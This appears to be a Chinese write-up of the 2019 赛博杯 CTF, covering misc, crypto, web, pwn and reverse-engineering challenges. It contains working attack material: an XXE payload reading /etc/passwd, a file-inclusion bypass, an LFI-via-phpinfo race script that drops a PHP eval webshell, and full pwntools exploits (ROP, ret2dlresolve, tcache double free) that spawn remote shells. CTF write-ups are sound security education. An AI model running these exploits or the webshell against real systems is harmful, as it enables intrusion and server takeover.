赛博杯2019 Write Up

2019-07-15 约 2156 字 预计阅读 11 分钟

声明:本文 【赛博杯2019 Write Up】 由作者 Vanish 于 2019-07-15 09:06:00 首发 先知社区 曾经 浏览数 116 次

感谢 Vanish 的辛苦付出!

赛博杯2019 Write Up

前言

杭电赛博协会出得题,感觉质量还是不错的,难易兼备。以下是此次比赛的Write Up。

MISC

Sign in

扫条形码得到flag。

No Word

snow加密,将文件放入010editor看他的十六进制形式,

0D0A是换行,剩下的将20转0,将09转1,得到的二进制数据,转字符串即可得到flag。

基础社工

题目介绍:大家都用着我们的数字杭电(i.hdu.edu.cn)但是对于其注册者却啥也不知道,所以小y打算去看看注册数字杭电的创始人的邮箱
flag形式为:flag{你找到的电子邮箱}

百度一个IP反查询工具,Whois查询,看看这个IP的备案,

得到flag;

The world

下载得到一张图,猜测是隐写,直接foremost分解,得到四张图,

第一张是可见的,应该没用,剩下来的,按顺序看。
第一份压缩包是加密压缩包,看了一下不是伪加密,于是放入工具进行简单爆破,得到密码abc123,得到文件:
d2abd3fb9d4c93fb064abf81f5fab84
新手村钥匙
第二份文件是一张图,猜测是LSB隐写,密码为上述字符串,测试后发现不是。继续考虑,可能是outguess加密,
outguess -r flag.jpg -t secret.txt -k d2abd3fb9d4c93fb064abf81f5fab84
得到文件
95cca6c50e48e86c468ee329ddc11047

最后一关大门的钥匙
第三份文件是一个mp3文件,猜测是MP3隐写,用MP3Stego解密,即可得到flag

Different_P

hint:PIL是个好东西
下载得到两份一样的文件,试了试盲水印,发现没有用。使用Beyond Compare 4结合后发现

字符这里有点东西。根据题目提示,猜测要将两张图片的所有元素点的灰度拿来作比较,
构造脚本如下

# -*- coding:utf-8 -*-

import base64

from PIL import Image


im = Image.open("f1.png").convert("L")

im2 = Image.open("f2.png").convert("L")

width=im.size[0]  #图片宽

height=im.size[1] #图片高


dd=''

flag1=''

for x in range(0,width):

    for y in range(0,height):

        data  = im .getpixel((x,y)) 

        data2 = im2.getpixel((x,y))

        if(data!=255 or data2!=255):

            dd=dd+str(data-data2)



for i in range (int(len(dd)/8)):

    word = dd[i*8:(i+1)*8]

    word = int(word,2)

    flag1 +=chr(int(word))

missing_padding = 4 - len(flag1)%4

if missing_padding:

    flag1+= '='*missing_padding


flag = base64.b64decode(flag1)

pic = open('flag.png','wb')

pic.write(flag)

pic.close()

得到一张图片,但是打不开,看他的十六进制数据发现文件头被改了。改回来后得到一张二维码,扫码得到flag

Crypto

easy_RSA

题目文件是public.pem 和 flag.enc,先用openssl打开.pem文件
openssl rsa -pubin -text -modulus -in public.pem
得到

其中。N=>Modulus,e=>Exponent
没有更多信息与算法了,猜测这个大数可以直接分解,上yafu。随后用rsatool生成.pem文件,再用openssl解密flag.enc,得到字符串
}Y!s04tEP{ygraCl_f
栅栏加方向即可得到flag,
rsatool和openssl的使用参考
https://www.cnblogs.com/Byqiyou/p/9410885.html

川流不息

题目加密脚本和密文
加密脚本

from parameters import a

def stream(init,size):
    if len(init) < 5:
        return init
    result = init[:5]
    for index in range(size-5):
        mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])
        result.append(mid)
    return result

if __name__ == '__main__':
    with open('flag','r') as f:
        flag = f.readline().strip()
    plain = ''.join(bin(ord(i))[2:].rjust(8,'0') for i in flag)
    key = stream([1,0,0,1,1,0,1,0,0,1],len(plain))
    cipher = ''
    for i in range(len(plain)):
        cipher += str(int(plain[i]) ^ key[i])
    print cipher

首先,根据flag前五个字符“flag{”和密文,异或可以得到key的前四十个值,然后爆破得到a

import base64

def stream(init,size):
    key=[1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,0,0,1,1,0,1,0,0]
    for i in range(2):
        for j in range(2):
            for k in range(2):
                for p in range(2):
                    for q in range(2):
                        a=[i,j,k,p,q]
                        result = init[:5]
                        for index in range(size-5):
                            mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])
                            result.append(mid)
                        if result==key:
                            print(a)
                            break
if __name__ == '__main__':

    flag = "flag{"
    plain = ''.join(bin(ord(i))[2:].rjust(8,'0') for i in flag)
    stream([1,0,0,1,1,0,1,0,0,1],len(plain))

得到a=[1, 0, 0, 1, 0]
然后根据加密脚本,获得key。然后key与密文异或得到flag

def stream(init,size):
    if len(init) < 5:
        return init
    result = init[:5]
    for index in range(size-5):
        mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])
        result.append(mid)
    return result

if __name__ == '__main__':
    a=[1, 0, 0, 1, 0]
    cipher = '111111000010111011011010011110000100111111010110000000100100110000001100011010111000000100100011100100010111110010101000100100011100000101011001111011101001101000111011000010000000011010000111111000111101011110111010'
    flag=''
    key = stream([1,0,0,1,1,0,1,0,0,1],len(cipher))
    for i in range(len(cipher)):
        flag += str(int(cipher[i]) ^ key[i])

    for i in range(0,len(flag),8):

        print(chr(int(flag[i:i+8],2)),end="")

WEB

base_1

输入
http://45.76.51.219:8050/?base=bXlmbGFn
得到回显
不能输入bXlmbGFn!
但经过测试,发现被加密后的base64字符串解密时似乎会舍弃密文末尾多余的字符(取余4后多出来的字符),于是这题就不难绕过了,
最终payload:
http://45.76.51.219:8050/?base=bXlmbGFn1
得到flag
truncation
进入网站,f12,发现注释:
进入sorce.php发现源码:

<?php
class kind
{
public static function checkFile(&$page)
{
        $whitelist = ["source"=>"source.php","aa"=>"aa.php"];

        if (! isset($page) || !is_string($page)) {
        echo "you can't see it";
        return false;
        }

        if (in_array($page, $whitelist)) {
        return true;
        }

        $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
        );

        if (in_array($_page, $whitelist)) {
        return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
        return true;
        }
        echo "you can't see it";
        return false;
}
}


    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && kind::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
       echo "<h>Look carefully and you will find the answer.</h><br>";
    }  
?>

先进入click.php,发现:flag is not here, and flag in flag.php 得到了flag的位置,那么应该是考任意文件包含漏洞
审计代码得到:
要设定page的值,且内容要在whiteList中
mb_substr($page,0,mb_strpos($page.'?','?'))
表示截取page中?之前的内容 接着对$page进行一次URLdecode之后,再判断一次。最后file的值为一个字符串 且 checkfile返回真值 就能包含文件file
所以最终payload:
http://47.110.227.208:8003/index.php?file=source.php?../../flag.php
得到一个猜密码的界面

<html>
<head>
<title>猜密码</title>
</head>
<body>
<!-- 
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
        if ($_POST['pwd'] == $_SESSION['pwd'])
                die('Flag:'.$flag);
        else{
                print '<p>猜测错误.</p>';
                $_SESSION['pwd']=time().time();
        }
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>

需要post一个赋值了的password和一个和服务器时间的值相同的pwd,脚本如下

import requests
import time
from bs4 import BeautifulSoup       #html解析器
url="http://47.110.227.208:8003/index.php?file=source.php?../../flag.php"    #目标url

session=requests.session()          #获取一个session对象
response=session.get(url)
html=response.text                  #返回的页面
soup=BeautifulSoup(html,'html.parser')

formData={"password":"123","pwd":"int(time.time())"}#构建一个formData,用于传我们的
re2=session.post(url,data=formData)#post过去

if("猜测错误" not  in re2.text):
    print(re2.text)

发现无法获得flag,后来发现pwd赋值为空可以获得flag,可能是$_SESSION['pwd']=time();没有执行成功。

Simple XXE

首先,了解一下XXE,(xml外部实体注入漏洞)
参考文章:https://www.cnblogs.com/cui0x01/p/8823690.html
(然后跟这个文章走2333)
首先f12看到dom.php存在XXE,于是构造XML文本先验证漏洞,
这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即172.16.12.2)下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。
执行完成上面的操作后,点击GO,右侧将出现此数据包的返回结果,内容如下,返回的数据为服务器上/etc/passwd文件的内容

漏洞验证成功,
于是修改XML中的外部实体为其他协议,根据提示看hint,php://filter/read=convert.base64-encode/resource=hint.php, 在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果

解码后得到目录,
于是

解码得到flag

inclusion

进入页面,f12,发现注释 phpinfo.php
然后根据名字,猜测是php文件包含漏洞(利用phpinfo)
参考这篇文章(又是跟着文章走)https://www.cnblogs.com/xiaoqiyue/p/10158702.html
访问http://47.110.227.208:8001/lfi.php?file=/etc/passwd 验证漏洞,

成功。
文章如是说:
先讲一下利用phpinfo上传文件,然后在文件包含的原理:

参考链接:https://github.com/vulhub/vulhub/tree/master/php/inclusion

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),这个临时文件在请求结束后就会被删除,同时,phpinfo页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。

因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。

但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:

1)发送包含了webshell的上传数据包给phpinfo,这个数据包的header,get等位置一定要塞满垃圾数据;

2)phpinfo这时会将所有数据都打印出来,其中的垃圾数据会将phpinfo撑得非常大

3)PHP默认缓冲区大小是4096,即PHP每次返回4096个字节给socket连接

4)所以,我们直接操作原生socket,每次读取4096个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包

5)此时,第一个数据包的socket连接其实还没有结束,但是PHP还在继续每次输出4096个字节,所以临时文件还未被删除

6)我们可以利用这个时间差,成功包含临时文件,最后getshell
利用脚本

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():

    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

运行脚本

(表示后来没有上传成功,但似乎有大佬先上传成功了,所以后面的步骤我也能继续做)
先验证是否上传成功

嗯,的确有大佬上传成功了,连文件名也一样,好的,谢谢了。getsheell
于是

flag应该在那个奇怪名字的文件里吧

果然,

拿到flag
这题的关键还是上传有大量垃圾数据的恶意文件吧。(所以哪位大佬上传成功了)

PWN

hardpwn

导入IDA后,发现需要覆盖运行参数(即argv),因为栈溢出很长且可以覆盖到该参数,所以可以考虑直接覆盖

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn1")
sh = 0
lib = 0
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./pwn1")
    else:   
        sh = remote(ip,port)
    payload = '\x00' * 120 +"aaaa" + "\x00"
    sh.send(payload)
    sh.interactive()
if __name__ == "__main__":
    pwn("47.110.227.208",10001,0)

stackpwn

导入IDA后,发现没有puts、write等,只有read且有溢出,那么这道题就是典型的考察ret2dlresolve,用ctf-wiki的脚本改一下就可以拿到shell了
利用roputils简化攻击

from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
from pwn import remote   #r = process('./pwn3')
r = remote("47.110.227.208",10003)
context.log_level = 'debug'
rop = ROP('./pwn3')
offset = 60
bss_base = 0x804a000 + 0x800
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

floatpwn

这题考察了确定浮点寄存器通过movss写入内存时的数值
方法:只能人工二分法一次一次去尝试,然后发现小数点后45位之前可以忽略不计,真正开始有意义的数值在小数点后45位开始。然后求出对应的n使得写回内存时是我想要的数值,从而构造ROP链。但是想构造ROP链之前需要实现无限写,所以输入size时,可以考虑输入负数,实现无符号整数溢出,从而无限写。因为控制写入数据位置的i变量位于栈空间底部,所以要使得写到i里的数据为10到12即可,因为可以考虑直接略过ebp,直接修改rip。

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn2")
sh = 0
lib = 0
def inputFloat(num):
    sh.recv()
    sh.send(num)
    sh.recv()
    sh.sendline()
def inputRop(num):
    num = str(num)
    num = num.rjust(45,"0")
    num = num.ljust(0x62,"0")
    inputFloat("0." + num)
    inputFloat("0") 
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./pwn2")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("libc6_2.27-3ubuntu1_amd64.so")
    #puts 5879714 0x400640
    #pop_rdi 5881041 0x4009f3
    #__libc_start_main_got 8822026 0x601038
    #main 5880847 0x400969
    #start 5879938 0x4006E0
    #call vul 5880867 0x400977
    #vul 5880653 0x4008DE
    #read 5879781 0x400670
    #pop_rsi_r15_ret 5881038 0x4009f1
    #read_got 8822014 0x601030
    #binsh 8822106 0x601071
    sh.recv()
    sh.sendline("-1.9999")
    for i in range(0,13):
        inputFloat("111")
    inputFloat("13")
    inputFloat("13")
    inputFloat("0." + "0" * 43 + "23")#0x11
    inputFloat("0." + "0" * 43 + "23")#fake

    #rip = 0x4009f3
    #pop_rdi_ret
    inputRop(5881041)

    #__libc_start_main got
    inputRop(8822026)

    #puts_plt
    inputRop(5879714)

    #pop_rdi_ret
    inputRop(5881041)
    inputRop(0)

    #pop_rsi_r15_ret
    inputRop(5881038)
    inputRop(8822106)
    inputRop(0)

    #read_plt
    inputRop(5879781)

    #pop_rdi_ret
    inputRop(5881041)
    inputRop(0)

    #pop_rsi_r15_ret
    inputRop(5881038)
    inputRop(8822014)
    inputRop(0)

    #read_plt
    inputRop(5879781)

    #pop_rdi_ret
    inputRop(5881041)
    inputRop(8822106)

    #read_plt
    inputRop(5879781)

    #input()
    sh.recvuntil("plz input your float:")
    sh.sendline("0")
    sh.recvuntil("do you want to continue?(y/n)")
    sh.send("n")

    __libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    libc = __libc_start_main - lib.symbols['__libc_start_main']
    system = libc + lib.symbols['system']
    binsh = libc + lib.search("/bin/sh\x00").next()
    sh.sendline("/bin/sh\x00")
    sleep(0.2)
    sh.sendline(p64(system))
    log.success("__libc_start_main: " + hex(__libc_start_main))
    log.success("system: " + hex(system))
    log.success("binsh: " + hex(binsh))
    log.success("libc: " + hex(libc))
    sh.interactive()
if __name__ == "__main__":
    pwn("47.110.227.208",10002,0)

Babytcache

checksec 可以看到程序没有开PIE,同时bss中存放了_IO_2_1_stdout_的地址,并且libc2.27有double free,所以思路就很明确了.有了double free就可以malloc 2 everywhere,所以这样一的难点在于如何leak libc,通过double free,可以让fd指向_IO_2_1stdout,从而malloc 2 _IO_2_1stdout,从而修改write_base来leak libc,之后再double free去修改free_hook为system,去free一个/bin/sh就可以了

from pwn import *
libc=ELF('./libc.so')
sh=remote("47.110.227.208",10006)

def add(size,content):
    sh.sendline('1')
    sh.recvuntil('input your size:')
    sh.sendline(str(size))
    sh.recvuntil('input your message:')
    sh.send(content)
    sh.recvuntil('Done!\n')

def add2(size,content):
    sh.sendline('1')
    sh.recvuntil('input your size:')
    sh.sendline(str(size))
    sh.recvuntil('input your message:')
    sh.send(content)
    #sh.recvuntil('Done!\n')

def delete(index):
    sh.sendline('2')
    sh.recvuntil('input the index: ')
    sh.sendline(str(index))

def main():
    add(0x100,'a\n')
    add(0x100,'a\n')
    add(0x100,'a\n')
    delete(0)
    delete(0)
    add(0x100,p64(0x0000000000602020)+'\n')
    add(0x100,p64(0x0000000000602020)+'\n')
    add(0x100,'\n')

    add2(0x100,p64(0xfbad1880)+p64(0x0)*3+'\x20\n')
    libc_base=u64(sh.recv(6)+'\x00\x00')-0x3eb780
    print "libc_base -> " + hex(libc_base)
    free_hook=libc_base+libc.symbols['__free_hook']
    system=libc_base+libc.symbols['system']
    sh.recvuntil('Done!\n')

    add(0x10,'/bin/sh\x00\n') # index 7
    add(0x20,'\n') # index 8
    delete(8)
    delete(8)
    add(0x20,p64(free_hook)+'\n')
    add(0x20,p64(free_hook)+'\n')
    add(0x20,p64(system)+'\n')
    delete(7)

    sh.interactive()
if __name__ == '__main__':
    main()

codepwn

通过逆向可以发现程序将flag存入了内存中,并且我们可以选择flag对应的下标进行对比,可是4字节的shellcode有着限制,并且v5是call shellcode之后的返回值,那么就必须在shellcode中对rax进行赋值操作,可以观察到r9寄存器的大小是跟printf出来的字节数相关,那么就可以通过push r9,pop rax,ret,三个操作来对rax赋值,进而根据程序最后的判断来确认我们猜测的flag对应下标的那个字母是否正确,接下来就是爆破就完事了

from pwn import * 

context.log_level='CRITICAL' 

def flag_index(index): 

    sh.sendline(str(index)) 



def code(code): 

    sh.send(code) 



def name(size,content): 

    sh.recvuntil('tell me your name size:\n') 

    sh.sendline(str(size)) 

    sh.recvuntil('input your name:\n') 

    sh.sendline(content) 



flag=open('./pwn4_flag','a+') 



try: 

    for index in range(32): 

        for i in range(0x1,0x7f): 

            sh=remote('47.110.227.208',10004) 

            #sh=process('./pwn4') 

            sh.recvuntil('this is my gift for you, take it!\n') 

            flag_index(index) 

            sh.recvuntil('input your code:\n') 

            code('AQX\xC3') 

            padding='a'.ljust(i,'a') 

            name(0x100,padding) 

            sh.recvuntil('Hello are you ready? '+padding+'\n') 

            sh.sendline() 

            info = sh.recv() 

            if((info).find('bye!') != -1): 

                print  chr(i+0x16) 

                flag.write(chr(i+0x16)) 

                sh.close() 

                break 

            else: 

                sh.close() 

except KeyboardInterrupt: 

    flag.close() 

    exit(0) 

except: 

    flag.close() 

    sh.close()

RE

Secret

(emmm这一题偷懒了),
首先分析主函数
里面有两个check函数。进入checktime()函数,关键代码是这里,

*(&v5 + i) = rand();
  if ( 14766 * v11 + 18242 * v10 + 4657 * v9 + 22453 * v8 + 7236 * v7 + 28554 * v6 + 25606 * v5 + 12289 * v12 == 12977737
    && 27429 * v11 + 8015 * v10 + 16511 * v9 + 17180 * v8 + 27141 * v7 + 31813 * v6 + 7412 * v5 + 18249 * v12 == 15081473
    && 2846 * v11 + 28353 * v10 + 19864 * v9 + 27377 * v8 + 9006 * v7 + 13657 * v6 + 19099 * v5 + 25835 * v12 == 13554960
    && 1078 * v11 + 5007 * v10 + 6568 * v9 + 23034 * v8 + 10150 * v7 + 22949 * v6 + 32646 * v5 + 15255 * v12 == 11284005
    && 8010 * v11 + 15430 * v10 + 6657 * v9 + 1009 * v8 + 25691 * v7 + 15960 * v6 + 19493 * v5 + 29491 * v12 == 10759932
    && 4605 * v11 + 14468 * v10 + 5017 * v9 + 12805 * v8 + 22973 * v7 + 30584 * v6 + 12620 * v5 + 32085 * v12 == 12085266
    && 7478 * v11 + 6524 * v10 + 25994 * v9 + 16215 * v8 + 12864 * v7 + 20574 * v6 + 8882 * v5 + 14794 * v12 == 11323393
    && 15263 * v11 + 8821 * v10 + 25489 * v9 + 9598 * v8 + 26847 * v7 + 5175 * v6 + 6515 * v5 + 27411 * v12 == 11677607 )
  {

一共8位字符,猜测前5位为flag{然后解个方程(也可以直接遍历后三个字符的所有可能,找到符合判断条件的)
得到 flag{Th3
然后来到关键的check函数,看到这里,

while ( 1 )
  {
    for ( j = 0; !v12[j]; ++j )
      ;
    if ( j >= v11 )
      break;
    v9 = 0;
    while ( j < v11 )
    {
      v1 = (v9 << 8) + v12[j];
      v12[j] = v1 / 58;
      v9 = v1 % 58;
      ++j;
    }
    v2 = v5++;
    s[v2] = v9;
  }

再加上用来取值的table 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxy
意识到这是可能是个改变密码表的base58编码变形,于是偷懒,百度找了一个base58的编码解码脚本,改变密码表,

<?php

$encode = "fQcoNZxMvNxAVW7UJh5vQNyyuaphLAGo8g";
echo "\n".$encode;

$decode = base58_decode($encode);
echo "\n".$decode;

function base58_encode($string)
{
    $alphabet = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ';
    $base = strlen($alphabet);

    if (is_string($string) === false || !strlen($string)) {
        return false;
    }

    $bytes = array_values(unpack('C*', $string));
    $decimal = $bytes[0];
    for ($i = 1, $l = count($bytes); $i < $l; ++$i) {
        $decimal = bcmul($decimal, 256);
        $decimal = bcadd($decimal, $bytes[$i]);
    }

    $output = '';
    while ($decimal >= $base) {
        $div = bcdiv($decimal, $base, 0);
        $mod = bcmod($decimal, $base);
        $output .= $alphabet[$mod];
        $decimal = $div;
    }
    if ($decimal > 0) {
        $output .= $alphabet[$decimal];
    }
    $output = strrev($output);

    return (string) $output;
}

function base58_decode($base58)
{
    $alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
    $base = strlen($alphabet);

    if (is_string($base58) === false || !strlen($base58)) {
        return false;
    }
    $indexes = array_flip(str_split($alphabet));
    $chars = str_split($base58);
    foreach ($chars as $char) {
        if (isset($indexes[$char]) === false) {
            return false;
        }
    }
    $decimal = $indexes[$chars[0]];
    for ($i = 1, $l = count($chars); $i < $l; ++$i) {
        $decimal = bcmul($decimal, $base);
        $decimal = bcadd($decimal, $indexes[$chars[$i]]);
    }
    $output = '';
    while ($decimal > 0) {
        $byte = bcmod($decimal, 256);
        $output = pack('C', $byte).$output;
        $decimal = bcdiv($decimal, 256, 0);
    }
    return $output;
}

解码得到
sEcondBe5tTime1s_n0w}
flag到手
后来发现,拿这程序去运行,只要flag的后面一半,也能过,所以一开始其实是忽略了这个check time()函数。。。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now